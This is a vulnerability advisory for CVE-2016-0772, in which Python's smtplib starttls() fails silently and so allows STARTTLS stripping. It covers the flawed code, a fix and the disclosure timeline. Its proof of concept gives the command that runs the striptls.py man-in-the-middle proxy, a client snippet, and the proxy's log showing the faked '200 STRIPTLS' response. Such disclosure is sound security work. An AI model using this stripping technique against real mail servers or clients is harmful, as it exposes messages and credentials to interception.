pub

VuNote

Author:		<github.com/tintinweb>
Version: 	0.2
Date: 		Nov 25th, 2015

Tag:		python smtplib starttls stripping (mitm)

Overview

Name:			python 
Vendor:			python software foundation
References:		* https://www.python.org/ [1]

Version:		2.7.11, 3.4.4, 3.5.1
Latest Version:	2.7.11, 3.4.4, 3.5.1 [2]
Other Versions:	2.2 [3] (~14 years ago) <= affected <= 2.7.11
				3.0 [3] (~7  years ago) <= affected <= 3.4.4
													   3.5.1
Platform(s):	cross
Technology:		c/python

Vuln Classes:	Selection of Less-Secure Algorithm During Negotiation (CWE-757)
Origin:			remote/mitm
Min. Privs.:	-

CVE:			CVE-2016-0772

Description

quote wikipedia [4]

Python is a widely used high-level, general-purpose, interpreted, dynamic programming language. Its design philosophy emphasizes code readability, and its syntax allows programmers to express concepts in fewer lines of code than would be possible in languages such as C++ or Java.[24][25] The language provides constructs intended to enable clear programs on both a small and large scale.

Summary

python smtplib does not seem to raise an exception when the remote end (smtp server) is capable of negotiating starttls (as seen in the response to ehlo) but fails to respond with 220 (ok) to an explicit call of SMTP.starttls(). This may allow a malicious mitm to perform a starttls stripping attack if the client code does not explicitly check the response code for starttls, which is rarely done as one might expect that it raises an exception when starttls negotiation fails (like when calling starttls on a server that does not support it or when it fails to negotiate tls due to an ssl exception/cipher mismatch/auth fail).

Quoting the PSRT with an extended analysis

It is a surprising and potential dangerous behavior. It also violates Python’s documentation. states that all SMTP commands after starttls() are encrypted. That’s clearly not true in case of response != 200. I also had a look how the other stdlib libraries handle starttls problems. nntplib’s and imaplib’s starttls() method raise an error when the starttls handshake fails.

Checking on how smtplib.starttls() is actually being used by open-source projects underlines that smtplib.starttls() is generally expected to throw an exception if the starttls protocol was not executed correctly. Therefore this issue may have an impact on some major projects like Django, web2py. Apart from that the current smtplib.starttls() behavior is different to nntplib.starttls(), imaplib.starttls()

PoC see [6] patch attached.

Details

The vulnerable code is located in lib/smtplib.py [3] line 646 (2.7 branch) and fails to raise an exception if resp!=220.

The documentation [7] suggests that starttls() either encrypts all communication or throws an exception if it was not able to negotiate tls.

	SMTP.starttls([keyfile[, certfile]])
	Put the SMTP connection in TLS (Transport Layer Security) mode. All SMTP commands that follow will be encrypted. You should then call ehlo() again.
	
	If keyfile and certfile are provided, these are passed to the socket modules ssl() function.
	
	If there has been no previous EHLO or HELO command this session, this method tries ESMTP EHLO first.
	
	Changed in version 2.6.
	
	SMTPHeloError
	The server didnt reply properly to the HELO greeting.
	SMTPException
	The server does not support the STARTTLS extension.
	Changed in version 2.6.
	
	RuntimeError
	SSL/TLS support is not available to your Python interpreter.

Code lib/smtplib.py:

Inline annotations are prefixed with //#!

def starttls(self, keyfile=None, certfile=None):
	"""Puts the connection to the SMTP server into TLS mode.
	If there has been no previous EHLO or HELO command this session, this
	method tries ESMTP EHLO first.
	If the server supports TLS, this will encrypt the rest of the SMTP
	session. If you provide the keyfile and certfile parameters,
	the identity of the SMTP server and client can be checked. This,
	however, depends on whether the socket module really checks the
	certificates.
	This method may raise the following exceptions:
	 SMTPHeloError            The server didn't reply properly to
	                          the helo greeting.
	"""
	self.ehlo_or_helo_if_needed()
	if not self.has_extn("starttls"):
	    raise SMTPException("STARTTLS extension not supported by server.")
	(resp, reply) = self.docmd("STARTTLS")
	if resp == 220:														//#! with a server not responding 220 it wont even try to negotiate tls
	    if not _have_ssl:												//#! silently stays unencrypted
	        raise RuntimeError("No SSL support included in this Python")
	    self.sock = ssl.wrap_socket(self.sock, keyfile, certfile)
	    self.file = SSLFakeFile(self.sock)
	    # RFC 3207:
	    # The client MUST discard any knowledge obtained from
	    # the server, such as the list of SMTP service extensions,
	    # which was not obtained from the TLS negotiation itself.
	    self.helo_resp = None
	    self.ehlo_resp = None
	    self.esmtp_features = {}
	    self.does_esmtp = 0
	return (resp, reply)												//#! to actually detect this a client would have to manually check resp==220
																			//#! or that the socket was turned into an SSLSock object

Proof of Concept

  1. start striptls.py proxy
	#> python striptls/striptls.py -l 0.0.0.0:9999 -r remote.mailserver.tld:25 -x SMTP.StripWithInvalidResponseCode
	
	  - INFO     - <Proxy 0x1f04910 listen=('0.0.0.0', 9999) target=('remote.mailserver.tld', 25)> ready.
	  - DEBUG    - * added test (port:25   , proto:    SMTP): <class __main__.StripWithInvalidResponseCode at 0x020F85E0>
	  - INFO     - <RewriteDispatcher vectors={25: set([<class __main__.StripWithInvalidResponseCode at 0x020F85E0>])}>
  1. send mail using smtplib (starttls)
	import smtplib
	server = smtplib.SMTP('localhost', port=9999)
	server.set_debuglevel(1)
	server.ehlo()
	print server.esmtp_features
	server.starttls()
	server.sendmail("a@b.com", "b@a.com", "From: a@b.com\r\nTo: b@a.com\r\n\r\n")
	server.quit()
  1. watch striptls.py fake the server response with resp=200 instead of resp=220, not forwarding the message to the server. This effectively strips starttls. smtplib keeps sending in plaintext with no indication to the client code that starttls negotiation actually failed.
	  - DEBUG    - <ProtocolDetect 0x1f25530 protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
	  - INFO     - <Session 0x1f0ea50> client ('127.0.0.1', 59687) has connected
	  - INFO     - <Session 0x1f0ea50> connecting to target ('remote.mailserver.tld', 25)
	  - DEBUG    - <Session 0x1f0ea50> [client] <= [server]          '220 mailserver.tld (msrv002) Nemesis ESMTP Service ready\r\n'
	  - DEBUG    - <RewriteDispatcher  - changed mangle: __main__.StripWithInvalidResponseCode new: True>
	  - DEBUG    - <Session 0x1f0ea50> [client] => [server]          'ehlo [192.168.139.1]\r\n'
	  - DEBUG    - <Session 0x1f0ea50> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [x.x.x.x]\r\n250-SIZE 3	1457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
	  - DEBUG    - <Session 0x1f0ea50> [client] => [server]          'STARTTLS\r\n'
	  - DEBUG    - <Session 0x1f0ea50> [client] <= [server][mangled] '200 STRIPTLS\r\n'
	  - DEBUG    - <Session 0x1f0ea50> [client] => [server][mangled] None
	  - DEBUG    - <Session 0x1f0ea50> [client] => [server]          'mail FROM:<a@b.com> size=10\r\n'
	  - DEBUG    - <Session 0x1f0ea50> [client] <= [server]          '530 Authentication required\r\n'
	  - DEBUG    - <Session 0x1f0ea50> [client] => [server]          'rset\r\n'
	  - DEBUG    - <Session 0x1f0ea50> [client] <= [server]          '250 OK\r\n'
	  - WARNING  - <Session 0x1f0ea50> terminated.

Patch

#https://github.com/python/cpython <master> diff --git a/Lib/smtplib.py b/Lib/smtplib.py index 4756973..dfbf5f9 100755
--- a/Lib/smtplib.py
+++ b/Lib/smtplib.py
@@ -773,6 +773,11 @@ class SMTP:
             self.ehlo_resp = None
             self.esmtp_features = {}
             self.does_esmtp = 0
+        else:
+            # RFC 3207:
+            # 501 Syntax error (no parameters allowed)
+            # 454 TLS not available due to temporary reason
+            raise SMTPResponseException(resp, reply)
         return (resp, reply)

     def sendmail(self, from_addr, to_addrs, msg, mail_options=[],

Notes

Vendor response: see [8,9,10]

Timeline:

11/25/2015	contact psrt; provided details, PoC, proposed patch
12/01/2016	response, initial analysis
01/29/2016	request ETA, bugref
02/01/2016	psrt assigned CVE-2016-0772
02/12/2016	response: will be addressed in upcoming 2.7, 3.5
02/13/2016	request ETA; response: no exact date
03/29/2016	request ETA; response: generic bounce message
05/12/2016	request ETA; no response
05/27/2016	request ETA; response: no exact date
06/12/2016	request ETA;
06/14/2016	response: ETA ~ June 26th
06/14/2016	vendor announcement [9]

References

[1] https://www.python.org/
[2] https://www.python.org/downloads/
[3] https://github.com/python/cpython/blob/2.7/Lib/smtplib.py
[4] https://en.wikipedia.org/wiki/Python_(programming_language)
[5] https://docs.python.org/2/library/smtplib.html#smtplib.SMTP.starttls
[6] https://github.com/tintinweb/striptls
[7] https://docs.python.org/2/library/smtplib.html
[8] https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-0772
[9] http://www.openwall.com/lists/oss-security/2016/06/14/9
[10] https://access.redhat.com/security/cve/cve-2016-0772